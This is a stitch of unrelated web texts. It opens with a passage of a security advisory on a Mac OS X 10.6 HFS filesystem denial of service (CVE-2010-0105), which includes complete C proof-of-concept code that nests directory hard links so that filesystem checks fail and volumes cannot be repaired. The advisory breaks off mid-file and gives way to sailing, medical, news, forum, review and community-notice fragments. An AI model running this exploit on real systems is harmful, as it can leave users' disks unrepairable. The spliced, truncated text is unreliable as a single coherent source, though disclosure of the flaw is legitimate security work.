(formerly Apple Computer, Inc.) for their Macintosh line of computer systems. The Macintosh user experience is credited with popularizing the graphical user interface. The original form of what Apple would later name the "Mac OS" was the integral and unnamed system software first introduced in 1984 with the original Macintosh, usually referred to simply as the System software. - --- 1. MacOS X 10.6.3 filesystem hfs Denial of Service --- The main problem exist in implementation of filesystem (hfs). MacOS X 10.6.3 has default hfs filesystem, so the problem came, when we create a special structure with hardlinks. Interesting information is in wikipedia : http://en.wikipedia.org/wiki/Hard_link - --- ... Most modern operating systems don't allow hard links on directories to prevent endless recursion. A notable exception to this is Mac OS X v10.5 (Leopard) which uses hard links on directories for the Time Machine backup mechanism only. ... - --- In 10.6 we can't use ln(1) command to create hardlink to directory (example: # ln C/C CX ). Anyway, we can use link(3) function and we don't need any special privileges! It hear nice to exploit it.. let's try To show this issue, we need use this program: ( http://cxsecurity.com/issue/WLB-2005090063 ) - --- hfs_poc.c --- /* Proof of Concept for CVE-2010-0105 MacOS X 10.6 hfs file system attack (Denial of Service) by Maksymilian Arciemowicz http://cxsecurity.com/issue/WLB-2005090063 NOTE: This DoS will be localized in phase Checking multi-linked directories So we need activate it with line connlink("C/C","CX"); Now we need create PATH_MAX/2 directory tree to make overflow. and we should get diskutil and fsck_hfs exit with sig=8 ~ x$ diskutil verifyVolume /Volumes/max2 Started filesystem verification on disk0s3 max2 Performing live verification Checking Journaled HFS Plus volume Checking extents overflow file Checking catalog file Checking multi-linked files Checking catalog hierarchy Checking extended attributes file Checking multi-linked directories Maximum nesting of folders and directory hard links reached The volume max2 could not be verified completely Error: -9957: Filesystem verify or repair failed Underlying error: 8: POSIX reports: Exec format error */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> int createdir(char *name){ if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR |S_IXUSR)){ printf("Can`t create %s", name); exit(1);} else return 0; } int comein(char *name){ if(0!=chdir(name)){ printf("Can`t chdir in to %s", name); exit(1);} else return 0; } int connlink(a,b) char *a,*b; { if(0!=link(a,b)){ printf("Can`t create link %s => %s",a,b); exit(1);} else return 0; } int main(int argc,char *argv[]){ int level; FILE *fp; if(argc==2) { level=atoi(argv[1]); }else{ level=512; //default } createdir("C"); //create hardlink createdir("C/C"); //create hardlink connlink("C/C","CX"); //we need use to checking multi-linked directorie comein("C"); while(level--) printf("Level: %i mkdir:%i chdir:%i\n",level, createdir("C"), comein("C")); printf("check diskutil verifyVolume /\n"); return 0; } - --- hfs_poc.c --- or use - --- last.c --- #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <err.h> #include <errno.h> #include <locale.h> /* function mkpath() from mkdir(1)/netbsd * Copyright for mkdir.c (c) 1983, 1992, 1993 * The Regents of the University of California.

We need divide this process for a few phases. It is not easy to delete the directory C, however some relationships can completely prevent it. Let's look at the mechanism maxopenfiles and try execute "last" a several times. - --- Run 0 --- ... Next 8138 Next 8139 Phase 0 done Level: 8140 Level: 8141 Level: 8142 Done ... - --- Run 0 --- - --- Run 1 --- ...

Next 8140 Next 8141 Phase 0 done Level: 8142 Done ... - --- Run 3 --- Irregular call to chdir(3) function, is the result of restrictions maxopenfiles at the time. So multiple execution of last.c, prevents our struct before destroing. How deep will come our program, depends on the number of open files on the system. The use of entropy in establishing the structure, can completely prevent, the removal of a defective structure. Let's see what google know about "Maximum nesting of folders and directory hard links reached" http://www.google.pl/#hl=pl&source=hp&q="Maximum+nesting+of+folders+and+directory+hard+links+reached" Nobody has ever complained of similar problems. Let's look at: ... if (dfs.depth >= DIRLINK_DFS_MAX_DEPTH) { fsckPrint(gptr->context, E_DirHardLinkNesting); if (fsckGetVerbosity(gptr->context) >= kDebugLog) { print_dfs(&dfs); } gptr->CatStat |= S_LinkErrNoRepair; retval = E_DirHardLinkNesting; } ... where ... /* Assuming that the name of a directory is single byte, the maximum depth * of a directory hierarchy that can accommodate in PATH_MAX will be * PATH_MAX/2. Note that catalog hierarchy check puts limitation of 100 * on the maximum depth of a directory hierarchy. */ #define DIRLINK_DFS_MAX_DEPTH PATH_MAX/2 ... When we overskip PATH_MAX/2, interesting line is: gptr->CatStat |= S_LinkErrNoRepair; The user _www is able to give flag S_LinkErrNoRepair :) - --- 2. Fix --- Currently not available. The last vulnerability CVE-2009-0689 was removed in version 10.6.3 (after 9 months). So we have to wait - --- 3. Credits --- Discovered by Maksymilian Arciemowicz - --- 4.

Rep Power:
I would like to touch on a couple points raised in the original post and correct one minor point which I will do first. The Morgan 45 was designed under the CCA rule, not the IOR rule. By the time the boat actually hit production the CCA was about to die. Even under the CCA rule the boats were not successful, but they became totally useless as race boats under the original IOR rule which initially was written with the intention of curbing the excesses of the CCA rule that limited the seaworthiness of boats like these. Given that the Morgan version was not seen as being particularly useful as a cruising design, after sitting around taking up space for a few years the tooling was sold cheaply to S-J rather than being trashed out right.
While good sailor could probably justify one of the Morgan built boats for use offshore, the Starratt Jenks versions of these boats would never make ideal or even decent offshore cruisers. In its original form, these boats were well built, deep draft, and had cast lead ballast. When Starratt Jenks took over building these boats, they cheapened the boat greatly and in the process of trying to change a grand prix rule beating race boat to some kind of cruising boat, made some very big changes (shallower draft, less ballast, in most later boats lead or steel in concrete which was a lower density ballast, cruder/heavier glass work, heavier cruising oriented interior and so on), all of which reduced the seaworthiness and motion comfort of the design, a design, which was known for having pitch and roll issues as compared to the better designs that followed it.
Most of the S-J boats were owner finished and the workmanship and corner cutting that I have seen were dismal and which would require a whole lot of time and money to rectify. At least in the case of the S-J boats, you are dealing with an outdated design, poorly constructed, typically poorly equipped in terms of deck hardware and sail handling gear. You may be able to make one into a mediocre island hopper, but with its long ends, deep canoe body, round bilges, low ballast ratio, low density ballasting, crammed accomodations. it would never be a particularly good offshore cruiser.
It is on that basis that I completely disagree with the statement above that claims that the The Starratt Jenks 45 is the most undervalued blue water ocean cruiser on the market. A knowledgable blue water cruiser would never classify the Starratt Jenks version of these boats as blue water cruisers by any stetch of the imagination, and given the really great blue water cruising designs out there that can be bought at similar prices to a those of an S-J, I would never classify the S-J as a bargain.

Fresh fruit and vegetables as vehicles for the transmission of human pathogens
Berger, Cedric N., Sodha, Samir V., Shaw, Robert K., Griffin, Patricia M., Pink, David, Hand, Paul and Frankel, Gad (2010) Fresh fruit and vegetables as vehicles for the transmission of human pathogens. Environmental Microbiology, Vol.12 (No.9). pp. 2385-2397. ISSN 1462-2912
Full text not available from this repository.
Official URL: http://dx.doi.org/10.1111/j.1462-2920.2010.02297.x
Much research into food-borne human pathogens has focused on transmission from foods of animal origin. However, recent investigations have identified fruits and vegetables are the source of many disease outbreaks. Now believed to be a much larger contributor to produce-associated outbreaks than previously reported, norovirus outbreaks are commonly caused by contamination of foods from hands of infected workers. Although infections with Shiga toxin-producing E. coli O157 have been linked to beef more often than to any other food product, severe outbreaks have been traced to consumption of contaminated radish sprouts and pre-packaged spinach. Similarly, while infections with Salmonella have mainly been linked to consumption of foods of animal origin, many outbreaks have been traced to contaminated fresh produce. E. coli O157 binds to lettuce leaves by alternative mechanisms involving the filamentous type III secretions system, flagella and the pilus curli. Association of Salmonella with fresh produce appears to be serovar-specific involving flagella, curli, cellulose, and O antigen capsule. A better understanding of plant, microbiological, environmental, processing and food handling factors that facilitate contamination will allow development of evidence-based policies, procedures and technologies aimed at reducing the risk of contamination of fresh produce.

Benfluorex: increasing reports of valve disorders. | |
MedLine Citation:
PMID: 20455335 Owner: NLM Status: MEDLINE |
Benfluorex is an amphetamine appetite suppressant derived from fenfluramine. In France, about 30 cases of pulmonary arterial hypertension and a similar number of valve disorders, often involving several valves, were reported between 1998 and 2009. Benfluorex has the same adverse effects as those that led to the withdrawal of amphetamine appetite suppressants such as fenfluramine.There is no proven benefit that justifies exposing patients to these risks. The French National Pharmacovigilance Committee simply proposed "to await the results of planned and ongoing studies". However, it would be in patients' best interests to withdraw this drug from the market. |

Alright, so I am having some difficulties here. I am trying to just have an app landing page for an android app i have. However, every single landing page for an App on this ENTIRE marketplace features an iPhone. There is only ONE for android.
Think anyone can link me to some if there is some here that I am missing, or elsewhere?
Just because it shows an iphone in the demo view does not mean it wont work on Android. You should test the demos on your phone to see if it show sup first, I would expect many of them to do so.
You lack what I was trying to get. A landing page is meant to be viewed on a desktop not a mobile device. Mobile devices have the app stores for that.
However all the landing pages are mostly iPhones display.
Changing an iphone to an android phone is not a big issue at all on the display, it'd just be a png. Iphones are just seen as a bigger or possibly a better market

Full text not available from this repository.Abstract
This volume offers balanced arguments that will help the reader form a reasoned view on the ethical legitimacy of the invocation of the criminal law to regulate medical practice and issues of bioethics. It aims to shed light on the question of who should define what constitutes ethical, and thus lawful medical practice? The judges, the doctors and scientists or someone else? To this end, it analyses how effectively the criminal justice system can, and does operate as a forum for resolving ethical conflict in the delivery of health care? Key questions that will be addressed include: How does the criminal law regulate controversial bioethical areas? Is the use of the criminal law in these areas appropriate or desirable? What effect, positive or negative does the use of the criminal law have when regulating bioethical conflict? The volume will explore criminal law in theory and in practice and the broad field of 'bioethics' rather than the narrower terrain of medical ethics. Whilst numerous chapters will focus on criminal law within the specific context of health care, others will address scientific research and biotechnologies.

St. Cloud Community/Senior Centers
(Activities and events run by seniors but open to all ages)
Members of clubs and event attendees- we have a great senior center with activities run by seniors. Make a resolution to bring a friend or two to your event or dance. They will love it!
The SCSCCI Board of Directors approved a new occupancy agreement for use of the facilities with the City of St. Cloud at the March meeting. The two most important changes in the agreement are that anyone participating in senior defined activities at the center must have a signed waiver of file, and must have paid a $10 membership fee. Both the waiver signing and the fee are to be renewed annually. The city will issue photo ID cards to all who have signed and paid. A visitor is defined as someone who has not attended more than three activities or events at the center. The waiver must be signed for all events and activities. The fee is due on the 4th event or activity.
Other changes will include assignment of more office space for city use, and use of the building for outside rentals over time. Eventually the buildings will be rekeyed, all use will require a city employee in attendance.
Effective April 21, 2015 both A and B Halls will be closed for floor resurfacing. A Hall will reopen Wednesday May 6, 2015; B Hall will reopen on Wednesday April 29, 2015.
A new officer slate of officers had been elected and inducted. They are John Dutt-President, John McMahon-1st Vice President, Paul Kurek-2nd Vice President, Karen Amato-Treasurer, Shirley Palfy-Secretary, Kiyoko Augustin-(appointed) Parliamentarian and Lynda Fosnaugh-(Elected) Communications Director. A new brochure has been printed and is available in the reception area.

An Egyptian court sentenced three police officers to seven years and a fourth officer to three years in prison on November 28 for beating a man to death during interrogation. Under Egyptian law, the sentence for torturing a prisoner ranges between three and fifteen years in prison. Earlier this month, two police officers were sentenced to three years in prison for sexually assaulting a man at a police station. Click here for more information.
President Mubarak referred to parliament on November 28 a draft law banning demonstrations in places of worship. The "Law to Preserve the Sanctity of Places of Worship" was passed to the Shura Council on December 4 and will then be sent to the People's Assembly. The law sets punishment of up to one year in prison and fines of 1000-5000 Egyptian pounds (US$182-910) for organizers of a demonstration and up to six months in prison and fines of 500-2000 pounds (US$91-264) for participants. The law is expected to face opposition in the People's Assembly, especially from Muslim Brotherhood MPs who hold eighty-eight out of 454 seats.
In elections to the Egyptian Syndicate of Journalists held on November 17, pro-government editor Makram Muhammad Ahmed was elected chairman and other pro-government journalists dominated the syndicate's council. Ahmed promised to advocate abolishing jail sentences for press offenses. Click here for the Hisham Mubarak Center for Law's statement on the elections in Arabic.
An Egyptian court sentenced Hatem Mahran, editor of the tabloid al-Naba, on November 27 to a year in prison and ordered him to pay a fine of 20,000 Egyptian pounds (US$3,600) for publishing a revealing photograph of an Egyptian actress. He was released on a five-thousand pound (US$912) bail and vowed to appeal the ruling.

I beat a man to death in 1983, and I don't remember it." George Bluebird's first sentence riveted my attention. The rest of his story recounts an ongoing journey of redemption for which he thanks God and St. Dysmas Lutheran Church, Sioux Falls, S.D. — the congregation on "the hill," behind the walls of the South Dakota State Penitentiary, a maximum-security facility. "I did any kind of drug," says Bluebird, who is in his early 40s. "I didn't care about life or even my children, just about my next high. "I've been [in prison] for 13 years. For most of those years I did not
change. I came to St. Dysmas and heard Pastor Ike [Leroy Iseminger]
tell of Moses who killed a man, yet God forgave him and spoke to him.

A pledge from the campaign to
From: A Voice For Men
Judicial Accountability Committee (JAC)AVfM's Judicial Accountability Committee (JAC) gets regular requests from individuals seeking assistance with injustices they are facing in the criminal justice system, family courts and in other spheres of public life. Because of the numbers of people seeking help, and the limitations of our resources, we must be highly selective of the cases we take.If you wish to apply for our assistance, there are a few requirements you must meet, and some matters that we must make perfectly clear before reviewing your information and making a determination on whether we can do any work on your behalf. Our terms are direct and to the point. This is not to offend you or put you off, but to give you complete honesty from the beginning.First, it is important to understand that JAC is an activist group, not a legal advisor or advocate. We strongly encourage you to have legal representation, but we do not work under your attorney's direction, and often we take courses of action that your attorney would not advise you to take. Our work mainly consists of attempts to bring public pressure on the state functionaries and others involved in your case, which many attorneys do not like. We also know that most attorneys favor the path of least resistance toward their payday and often do not have the best interests of their clients in mind.There is no anonymity with JAC. In order for us to take your case you must understand that we will use your name, and the names of all other individuals (aside from minor children) involved in the case. We require you to provide us with all legal documentation and other supporting evidence with the understanding that we may publish it at avoiceformen.com and other websites, as well as use it in other ways that involve the general public and the media.JAC is the sole arbiter of how the activism is conducted. While we do consult at length with the individuals we serve, we make the final decisions about how and when and in what form the activism will take place.THERE ARE RISKS ASSOCIATED WITH THE ACTIVISM. This is something you must know. Corrupt public officials, including police, prosecutors, judges and elected public servants do not usually appreciate being publicly challenged and/or exposed. They can and will act with vindictiveness toward you for the measures we take exposing their actions to the public. You need to be prepared for that risk before proceeding. There is a possibility with any given case that the individual suffers more than he or she would without the activism.Please, no surprise skeletons. If there is evidence in your case that incriminates you, we need to know about it from the start. It is much better to deal with a problem we know about in advance than to be hit with a crippling surprise at an inopportune time. Put your cards on the table with us from the start.Be prepared to work. During the course of your case, if accepted, we will be assigning you work to perform, mainly in the form of gathering and organizing information. For instance, if we are going to do a letter writing or phone campaign with your local politicians, you will be asked to compile a list of those individuals and their contact information for our use. The same will apply to making lists of media contacts and others we may be canvassing on your behalf. This support for what we do is a vital part of our agreement for advocacy on your behalf.What you need to do to apply for our assistance.First, we need you to tell us your story. Write down what is happening to you in the clearest, most concise way possible. Include all dates and names of individuals involved, along with what happened. Proof is a big factor. Whatever evidence you have of your story needs to be included with your submission. This includes court documents, police reports, photographs, personal notes etc. We will not publish anything until we review the information, speak with you regarding your understanding of the terms stated above and reach a mutual agreement to work on your behalf.When you send us your story, please use proper formatting. Long, endless blocks of text are eye killers. Inserting paragraph breaks at the appropriate places will help us digest and understand your information.Above all, be honest with us. We are well aware that in many of life's circumstances, especially those that involve marriage or other long term relationships that neither side is perfect. Everyone makes mistakes. It is important that you let us know all the facts of your story, even the ones that may reflect negatively on you. As we said before, no surprises, please. It is the best way you can help us help you.If you want assistance with an injustice, and you are willing to follow the guidelines above, please send your complete story and any attachments to [email protected]

I just wonder; which game is the best, Call of Duty or Battlefield? asked Aug 16 '10 at 12:49 99sander |
I have always liked the Call of Duty series of games the best. Nothing at the moment can beat the multiplayer, It's just so unique and great. I have played a Battlefield multiplayer quite a bit but I don't find it as fun as the Call of Duty series. answered Aug 16 '10 at 17:34 edgy |

"A Honda Ruckus," is my reply.
Nearly everyday that I had Honda's new scooter on Toronto roads, I was asked this, and many more questions. The follow-ups usually related to: how much, how fast, where can you get one, do you need a motorcycle license, how much for insurance, gas mileage, etc.
At times I felt like I was doing PR for Honda and their Ruckus. But I kinda didn't mind because I was in love with the little bugger.
As luck would have it I got the Ruckus the day the power failed in Ontario. I was actually riding it when I noticed the lights go out. It made crossing intersections a bit more interesting and challenging but not really a problem. In the midst of a serious energy crisis, where no gas stations were working because of the lack of power, a scooter was the thing to have.
It should be noted that there is no way this scooter will smoke tires or do a wheelie, no matter how quickly you open up the throttle. Alas, there is no satisfying kick when you wind the throttle open. The acceleration is sedate but gets you going at reasonable pace.
The only time the Ruckus really struggled with the speed of traffic was when I rode it on Toronto's Lakeshore—where the Indy cars race—and in the suburbs, where the posted speed is the same as the Ruckus' top speed. Since everybody does at least ten over, it was necessary to run the engine wide open for extended periods of time, which seemed fine with the Ruckus.
The fat ATV-type tires let the Ruckus handle all the ruts, streetcar tracks, construction zones and general disrepair that are the current streets of Toronto, with aplomb. The only time I felt the Ruckus getting squirrelly was when I hit some streetcar tracks during a turn in the rain. And that was for the briefest of moments. The Ruckus' tires are great for city riding and even casual off-roading. They allowed some pretty extreme lean angles, even at slow speed.
The suspension proved adept at handling the potholes as well. The single shocked rear end was a bit on the soft side though. No doubt it was designed for svelte Japanese scooterists as opposed to well-fed North American types.
The Ruckus has an automatic transmission—twist and go—with no clutch or gears to mess around with. That's about the only difference between the controls of the Ruckus and a motorcycle.
The brakes are interesting - they are drums for both front and rear, controlled by cables via the handlebar levers, just like a bicycle. I thought that this would be a detriment to the Ruckus but I did not find that to be so. The brakes hauled the scooter down from speed remarkably well. In the few emergency brake tests I performed in a deserted parking lot, and twice when I had to stop immediately in traffic, there was never any problem with the Ruckus' stopping power.
A quirky thing on the braking system is the manual brake lock for the rear brake. It's actually just a little tab that locks the rear brake lever in place. At first I though this was a silly feature but after time spent idling in up and down hill situations, I really appreciated being able to lock the rear brake and rest my hands.
After a particularly good session, Nestor and the Ruckus relax over drinks.
The Ruckus wonders if Nestor will call her in the morning ...
Although new to our shores, the Ruckus has been sold in Japan for nearly two years, where it is called a Zoomer. As a result, many neat aftermarket accessories have been developed, and since Honda is still deciding which accessories it will bring in, I'll add my opinion to this matter.
Exhaust kits - there are some really wacked looking pipes in Japan. Front basket and rear carry shelf. A better rear shock. Mesh side panels for the underseat area. The backrest. Disc brake kit (for the occasional stoppie).
The Ruckus is a really fun ride. Economical and environmentally friendly, it is the most fun you can have with five horsepower...and with attitude too!
Scooters are no longer simply for snobbish, no-money-but-still-acting-posh, avant garde types. The Ruckus is ruggedly simple and smart in so many ways, that I almost needed wallpaper to list them.
With it's anti-scooter image comes a great design—tubular steel frame, hydraulic forks, easily adjustable drum brakes—which makes it a little simpler to work on. It's small and light, making for easy parking. Gas and insurance are CHEAP—a big bonus for under 25ers.
What is that stone thing that the Ruckus is looking at? Answers to the usual address.
Photo: Miryana or her friend
I laughed the whole way home after picking it up from Honda. Only a couple of hours earlier, I had ridden a 600cc sport bike, and now I was on this 50cc toy. There were only two points I ever held the throttle at—off or pinned. I got it to about 75 km/h hammering it down a steep hill, and couldn't stop laughing. Who knew being slow could be so enjoyable?
Then I woke up when a Yukon Denali following behind me passed me in my own lane. In my perfect world, Honda would have made an 80cc Ruckus, since there were countless times where topping out at 60km/h really, really, REALLY didn't cut it.
We're not sure what Miryana's doing here or what drug she was on at the time.
Photo: Miryana's friend
After a week of using it to commute, my Ruckus buddy, Paul, who recently bought one, suggested an off-roading trip. We had come to the conclusion that with those big, fat pieces of rubber that looked like snow tires, the Ruckus was just asking for it. Plus, I really had to know what's in a name.
The Ruckus constantly surprised me with the way it climbed hills that were fairly steep, and the way it rumbled over tree roots, through five-foot-tall blades of grass, and other wonders of nature that kept trying to bring it down. The way it barrelled through the rugged terrain was absolutely astonishing. And the fact that it was so quiet made it seem like we were simply tip toeing through the forest. It seemed so right.
Cheap, friendly and most of all, fun! Thank you Honda for understanding the motorist's needs and meeting them so well.

Rosenthal, the textile executive, is a convert. He used to fly United or Lufthansa to Frankfurt before catching a connecting Emirates flight to Asia and the Middle East. But when Emirates introduced A380 service to Dubai from New York, he became loyal to flying the large jet.
"I get my own room with a minibar. It has a shower spa. A lounge," Rosenthal says. "I can arrive wherever I'm going without feeling like I was stuck on a plane for 15 hours."
But with Emirates now switching to 777s, Rosenthal says he may revert to connecting in Europe to avoid long flights.
A first-class round-trip ticket between Dubai and New York in April costs about $15,800 on Emirates, according to its website. An economy ticket is priced at about $1,100.
New fleets, industry awards
With their global ambition, the Gulf carriers have been aggressive purchasers of large and fuel-efficient planes from Boeing and Airbus. The new planes are crucial in their quest for loyalty of the most discriminating customers who hop between continents.
Boeing expects to deliver more than 1,500 new planes to the Middle East in the next 20 years, making it the fastest-growing market in the world. Etihad was the talk of the Farnborough International Airshow last year when it placed the single largest order in the show's history — a $22 billion order for 100 Airbus and Boeing aircraft, with purchase options for an additional 105 aircraft.
The Gulf carriers were also among the first customers for the much ballyhooed A380 jumbo jet. European and Asian airlines are starting to cancel orders. But the Gulf carriers, so far, have held steady.
Along with their fresh-from-the-factory planes, the Gulf carriers provide some of the most luxurious services in the industry, and have garnered notable industry awards. Qatar Airways is one of only six airlines in the world to win the 5-star designation by Skytrax, an aviation research consulting firm. Emirates and Etihad have 4 stars; most U.S. airlines have 3 stars.
All three offer free limousine service from the airport for first-class customers. First-class passengers on some Emirates aircraft get a private suite with a shutter door, a fully flat bed, a minibar and a 23-inch flat-screen TV. Etihad's in-flight entertainment system, which has won industry awards, has more than 600 hours of on-demand video and audio programming.
"It's enough to make you want to connect" in Dubai or Abu Dhabi, Teffaha says. "And that's actually the point."
Despite world-class amenities, the region's carriers may not be immune to the luxury backlash and belt-tightening among corporate customers who can no longer justify $15,000 first-class trips in the battered economy. In January, premium traffic worldwide fell 16.7%, according to the IATA. While the region hasn't been hit as hard, premium traffic between the Middle East and nearly all regions of the world also fell.
"If the front cabin drops off, then you're in a world of hurt," says aviation analyst Michael Boyd. "It depends on how far the global economy sinks. Us mortals behind the curtain don't pay the bills as much. Will those passenger flows from Australia, India and Europe continue?"

All Rise...Judge Sandra Dozier is a day-tripper. Editor's NoteOur review of On The Road With Charles Kuralt: Set 1, published October 1st, 2009, is also available. The ChargeBy shining a spotlight on those who had gone unnoticed, Kuralt revealed that each of us is noteworthy. The CaseIn 1994, a few years prior to his death in 1997, Charles Kuralt told his biographer, "You know, most reporters can't go back to the towns they wrote stories about…I never wrote that kind of story." This attitude sums up the man he was—a curious student of human nature, and a man who tried to see the good in everything. In fact, he set out to showcase these ideals in 1967, when he began traveling the United States by motor home, taking only the backroads in search of the essence of Americana. He would talk to anyone, and his stories were always heartwarming, often inspirational, and sometimes powerfully moving. He shared his wonder at the human condition with viewers at home, who traveled with him to see these other towns with customs and people that were both familiar and new. Kuralt, in a way, connected people to one another, even when he was interviewing a man who lived on a glacier in the shadow of Mt. McKinley. For a more contemporary audience, these segments provide a way to look back at a snapshot of America (spanning 20 years that Kuralt was on the road), and a brightly positive look at the people of this nation in a time when reality television has sucked out appreciation of the human condition and replaced it with schadenfreude (pleasure derived from the misfortunes of others). What I particularly enjoyed about the segments was Kuralt's infectious and genuine appreciation of these small-town stories; watching makes me smile. It's as simple, and as important, as that. In addition to almost five hours of On the Road footage, there are a few extras of note. Two of the discs have "Road Updates," text-based notes directing viewers to websites or containing information about the places and people profiled by Kuralt. The major extra is a 55-minute interview with Isadore Bleckman, one of the cameramen for Kuralt during his On the Road years. Produced in 2010, Bleckman recalls some of the side stories during filming; effectively, a "behind the scenes" for the show. Bleckman tells a good story, not talking overlong or straying from the subject—it's an interesting perspective on their years together and the people they profiled. One particularly heartwarming story Bleckman tells is of a dinner where he was being honored for his work behind the camera; he decided not tell Kuralt for fear that he would feel obligated to attend. During the dinner, however, he was delightfully surprised when Kuralt did appear and speak at length. Bleckman, like the viewer, becomes emotional as he tells this story. These short "On the Road" segments were originally aired on The CBS Evening News with Walter Cronkite, and the Travel Channel compiled them into episode format to air on TV. One of the really nice features of these box sets is the excellent closed-captioned subtitles provided by Acorn Media, which now makes these episodes accessible to a wider audience. The box set comes with three slim-case DVD boxes, each one listing the following episodes and the vignettes covered: • Hex-Sign Painter, Missouri, High-School Plane, Christmas Tree,
Alaskan Glacier Priest As with past releases in this series, the box set is impeccably packaged, enclosing three slim-case boxes with full-color covers and episode list. The one unfortunate blemish on this release is the poor quality of the source material the video transfer was made from—the images are sometimes so washed out and blurry that it is difficult to make out what is going on in wide shots. At best, they are merely mushy. Sound quality is also variable, as the small film crew often had to capture sound in noisy outdoor environments, and it has not aged well. It isn't clear why these segments suffered such severe age-related wear, but the show is quite watchable despite this setback. The VerdictIf you are a fan of the show or would like some feel-good programming, you do
not want to miss this set. It's like concentrated joy! Give us your feedback!Did we give On The Road With Charles Kuralt: Set 3 a fair trial? yes / no Other Reviews You Might Enjoy

This volume contains papers based on presentations given at the Pan-American Advanced Studies Institute (PASI) on commutative algebra and its connections to geometry, which was held August 3-14, 2009, at the Universidade Federal de Pernambuco in Olinda, Brazil.
The main goal of the program was to detail recent developments in commutative algebra and interactions with such areas as algebraic geometry, combinatorics and computer algebra. The articles in this volume concentrate on topics central to modern commutative algebra: the homological conjectures, problems in positive and mixed characteristic, tight closure and its interaction with birational geometry, integral dependence and blowup algebras, equisingularity theory, Hilbert functions and multiplicities, combinatorial commutative algebra, Gröbner bases and computational algebra.
Graduate students and research mathematicians interested in commutative algebra and algebraic geometry.

Academic research is a large and highly competitive enterprise, with more than 110,000 graduate students and postdocs conducting research in universities across the United States. Lab groups are often faced with tremendous pressure to get published, secure funding, and pursue innovative discoveries. But as students and faculty drive to accomplish these goals, they also must ensure that a culture of safety and responsibility exists within their laboratories.
The drive to produce first holds true for industrial labs as well. However, industry generally adheres to a more stringent and proactive set of regulatory and cultural safety expectations than their academic counterparts. The focus here is on one of the greatest safety risks in any lab: reactive chemicals.
Uncontrolled or unexpected chemical reactions not only have the potential to cause property damage and environmental harm, but also serious injury and physical harm. There have been several high-profile laboratory events in academia. For instance, in 2008, a student died after sustaining severe burns from a pyrophoric material. In 2010, a graduate student lost three fingers and sustained burns to his face and hands when a chemical he was working with detonated.
Investigations into incidents such as this typically point to larger systemic errors in lab safety procedures and protocols.
The good news is that these incidents are avoidable by effective use of reactive chemical hazard assessment programs. Such programs help identify potential hazards in the lab and eliminate risks, creating a safer environment for lab members.
A lab's reactive chemical hazards program will address three key goals:
Before beginning any project, it is critical to evaluate the lab, process, or project. Researchers can do this by compiling the physical properties and reactivity information of the chemicals they're using. It is also critical for researchers to put time and effort into understanding the chemicals they'll be working with. They must investigate the conditions and worst-case scenarios under which the potential energy of these components can be accidentally released. Labs should have mitigation plans in place for each of those worst-case scenarios.
For more information on how to safely handle reactive chemicals, visit the Dow Lab Safety Academy at http://safety.dow.com. The Dow Chemical Company recently launched the website with the goal of freely sharing its best practices for lab safety. While the primary goal was to reach academic labs, the resource is available to industry researchers as well.
The Dow Lab Safety Academy is part of a larger outreach initiative that Dow launched in early 2012 on the heels of an eye-opening industry report from the U.S. Chemical Safety Board, which highlighted the potential hazards associated with conducting chemical research at academic institutions.
Dow's educational platform now includes more than three dozen videos addressing a variety of real-life scenarios, grouped under four lab safety categories. The website also provides a collection of useful documents such as a chemical reactivity worksheet and an incident alert template.
Armed with educational resources and assessment programs, labs can go a long way toward implementing higher safety standards. It is indeed possible to perform cutting-edge research while maintaining the highest standards of safety; the two do not have to pull in opposite directions. Ultimately, by learning from past incidents and making a strong commitment to a hazard analysis, academic lab safety has a very bright future.
Lori Seiler of The Dow Chemical Company is Associate Director for Environmental Health & Safety for Dow Research and Development. She has been closely involved in Dow's university lab safety initiative and the creation of the Dow Lab Safety Academy; http://safety.dow.com.

How Is The Light In Fireflies Produced?
1 Answer | Add Yours
The light produced by fireflies (Photinus pyroles), or lightning bugs, is a heatless light called bioluminescence. Bioluminescence occurs in a number of species of bacteria, fungi, insects, some marine invertebrates (animals without spines) and fish. Bioluminescence in fireflies is caused by a chemical reaction in which the organic compound luciferin undergoes oxidation (the combination of a substance with oxygen) in the presence of the enzyme luciferase. The flash of light occurs when the oxidating chemicals jump to a high-energy state and then revert to their normal state.
The rate of flashing is controlled by the firefly's nervous system and takes place in special air-tube-containing cells called photocytes. The rhythmic flashing is most likely a mating signal. The flashing may also be a warning signal, designed to remind predators that the firefly has an unpleasant taste.
Air temperature also seems to be linked to the rate of flashing. The higher the temperature, the shorter the interval between flashes. For instance, a flash occurs every eight seconds at 65° Fahrenheit (18.3° Celsius) and every four seconds at 82° Fahrenheit (27.7° Celsius).

text: The City Council's Budget Committee is scheduled to meet today. Normally, that is not exactly big news, but in this case it will be the first time the panel, one of the council's most important committees, has met in five months. The meeting is set for 2 p.m. in the council chamber at City Hall. One result of the long hiatus is that a huge backlog of budget-related ordinances is awaiting the committee's review. At its meeting last week, the full council had to defer action on 39 such ordinances, some of which have been on the agenda for months, because the Budget Committee had not met to make a recommendation on them. Another result is that the council has not gotten an overall update from the administration on the city's financial situation since late last year. To be fair, the council spent most of November thinking about city finances as it reviewed the proposed 2012 budget it finally passed Dec. 1. But three months have passed since that vote without a meeting of the Budget Committee, the council's primary vehicle for keeping track of city revenue and spending trends. If the council wants evidence of how quickly and badly the city's financial train can run off the rails if people are not paying attention, it need only look back to the final year of the Nagin administration, when overspending and unforeseen expenses helped create a nearly $100 million shortfall by the time Nagin left office in May 2010. Council President Jackie Clarkson is the Budget Committee's chairwoman.

Muc Off & Friends: Ride with Steve Peat
Back in the summer, we teamed up with Chain Reaction Cycles to give one lucky MTB rider the chance to ride with Steve Peat. So last month we met with up with some of our friends from Chain Reaction, Adrian (the competition winner) and some more of our MTB loving friends at the UK Bike Park in Dorset. We had a a good laugh on the trails and we learned a thing or two from the living legend himself, Steve Peat!

So are we sure we don't want to find some way to get the other teams claimed or at least auction them off on a per break basis? I mean that money can make a significant difference!
Still think we at least need to look at ideas for this or if we are just going to stick with the randomization then draft idea. If all teams were claimed it would look a lot better. Jan - 2010 Draft + $560 remaining Feb - 12 boxes 2008 EEE ($800 + 4 super bowl entries) - $290 remaining Mar - 2011 Heritage ($750) - $770 remaining Aprl - 2011 Tribute 8 box case ($1905) - $35 remaining versus current Feb - 6 boxes of 2008 EEE ($400 + two SB entries) - $800 remaining Mar - 2011 Heritage ($750) - $990 remaining Apr - 2011 Tribute ($1905) - $25 remaining!

